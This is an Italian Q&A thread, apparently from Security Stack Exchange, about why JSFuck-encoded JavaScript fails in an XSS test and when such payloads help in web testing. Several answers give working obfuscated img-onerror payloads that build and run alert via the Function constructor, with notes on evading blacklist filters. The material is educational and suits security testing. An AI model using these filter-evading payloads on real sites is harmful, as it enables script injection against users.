XSS utilizzando JSF ** k

10

Leggevo di JSf ** k . Dal loro sito web:

JSF**k is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.

La mia domanda è: quando possiamo usare esattamente questo payload per sfruttare una vulnerabilità XSS? Ho provato il seguente semplice codice HTML per testarlo:

<html>
<img src=1 onerror="(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]" >
</html>

Ho appena sostituito alert(1) con il corrispondente codice JSF ** k del testo in chiaro. Tuttavia, il browser non sembra rendere il carico utile. Quando scrivo il payload nella console di Chrome, viene visualizzato come una stringa "alert (1)" ma non funziona nel codice HTML precedente. Immagino che debba fare qualcosa con il modo in cui un browser rende questi payload (non sono pienamente consapevole di come / quando esattamente un browser restituisce vari tipi di payload).

Vorrei capire gli scenari in cui tali payload possono essere utili durante il test di un'applicazione web.

AGGIORNAMENTO: Come menzionato nella risposta, il metodo funziona quando si usa eval source invece della normale stringa alert (1). La mia domanda è, perché ho bisogno di una fonte eval? AFAIK, il browser deve eseguire la stringa passata all'attributo onerror come JavaScript.

    
posta Rahil Arora 15.06.2015 - 20:34
fonte

4 risposte

5

Uno scenario ovvio, come sottolineato da @schroeder in uno dei commenti, è quando il server controlla le stringhe per le stringhe nella lista nera come alert(1) . A parte questo, affinché il payload funzioni, la domanda deve soddisfare le seguenti condizioni:

  • Ci dovrebbe essere nessuna restrizione sulla lunghezza dell'input (come puoi vedere, il carico utile può essere enormemente lungo).
  • L'applicazione non deve codificare JavaScript nessuno di questi caratteri: ! () + [] .
  • Il payload deve essere valutato (a meno che l'input dell'utente non venga inserito direttamente in una funzione eval() ). Il motivo per cui è necessario questo è a causa del modo in cui tali sottoinsiemi esoterici funzionano.

Quindi come e perché funziona JSF ** k? Il concetto completo è stato meravigliosamente spiegato su questa pagina :

It works because every JavaScript program can be written as a string that gets evaluated. For example, this normal JavaScript code:

alert("Hello, world!")

can be written as

Function('alert("Hello, world!")')

Quindi, in pratica, JSF ## k consente di scrivere qualsiasi codice JavaScript come string , che deve essere valutato per l'esecuzione. Per l'esempio menzionato nella domanda, il browser considera alert(1) nel gestore di eventi onerror come una funzione JavaScript valida, tuttavia il suo JSF ## k equivalente sarà una stringa che quindi deve essere valutato .

    
risposta data 30.06.2015 - 19:10
fonte
6

Questo funziona per me:

<html>
<img src=1 onerror="[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!![]+[])[+[]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[!![]+!![]+[+[]]]+(+!![])+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[!![]+!![]+[+!![]]])()" >
<html>

Vedi il violino link

Preso direttamente da link

Il codice JSF *** dovrebbe funzionare anche in Chrome se si scelgono i parametri corretti. Nota che devi generare codice eseguibile con Eval Source, non solo una stringa.

    
risposta data 16.06.2015 - 15:14
fonte
1

Questo funziona correttamente per me (i commenti indicano cosa stiamo generando line-by-line):

<img src="x" onerror="([] [(              // [].
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ({}+[])     [+!+[]]                    + // 'o'
 ([]['']+[]) [+!+[]]                    + // 'n'
 ([![]]+[])  [!+[]+!+[]+!+[]]           + // 's'
 ([!![]]+[]) [+[]]                      + // 't'
 ([!![]]+[]) [+!+[]]                    + // 'r'
 ([!![]]+[]) [!+[]+!+[]]                + // 'u'
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ([!![]]+[]) [+[]]                      + // 't'
 ({}+[])     [+!+[]]                    + // 'o'
 ([!![]]+[]) [+!+[]]                      // 'r'
 )]
[                                         // .
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ({}+[])     [+!+[]]                    + // 'o'
 ([]['']+[]) [+!+[]]                    + // 'n'
 ([![]]+[])  [!+[]+!+[]+!+[]]           + // 's'
 ([!![]]+[]) [+[]]                      + // 't'
 ([!![]]+[]) [+!+[]]                    + // 'r'
 ([!![]]+[]) [!+[]+!+[]]                + // 'u'
 ({}+[])     [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ([!![]]+[]) [+[]]                      + // 't'
 ({}+[])     [+!+[]]                    + // 'o'
 ([!![]]+[]) [+!+[]]                      // 'r'
]) (

    ([![]]+[]) [+!+[]]+                   //  false[1]  = a
    ([![]]+[]) [!+[]+!+[]]+               //  false[2]  = l
    ([![]]+[]) [!+[]+!+[]+!+[]+!+[]]+     //  false[4]  = e
    ([!![]]+[]) [++[ [] ] [+[]]]+         //  true[1]   = r
    ([!![]]+[]) [[]*[]] +                 //  true[0]   = t

                                          // (
    ([] [([![]]+[])[++[++[!![]][+[]]][+[]]] + ({}+[])[+!+[]] + 
    ([!![]]+[]) [+!+[]] + 
    ([!![]]+[])[+[]]]+[]) 
    [!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]] +
                                          // 0
    [] * [] +
                                          // )
    ([] [([![]]+[])[++[++[!![]][+[]]][+[]]] + ({}+[])[+!+[]] + 
    ([!![]]+[]) [+!+[]] + 
    ([!![]]+[])[+[]]]+[]) 
    [!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]
)();                                      // (\"alert(0)\")();">

Se hai bisogno di più riferimenti sulla sintassi, ho scritto un post su questi tipi di XSS (codice javascript alfanumerico) che può aiutarti: link

    
risposta data 01.07.2015 - 15:02
fonte
0

Risposta aggiornata:

Hai bisogno dell'eval per convertire il tuo codice javascript in stringa, altrimenti il browser non potrebbe prenderlo in considerazione come istruzione.

Quando guardi il codice utilizzato su link la "funzione di esecuzione" usa eval, non importa quale

$("run").onclick = function(){
  value = eval($("output").value);

  if (!$("eval").checked){
    alert('"' + value + '"');
  }
  return false;
};

Altri link interessanti:

Decodifica JSFuck

    
risposta data 25.06.2015 - 10:28
fonte

Leggi altre domande sui tag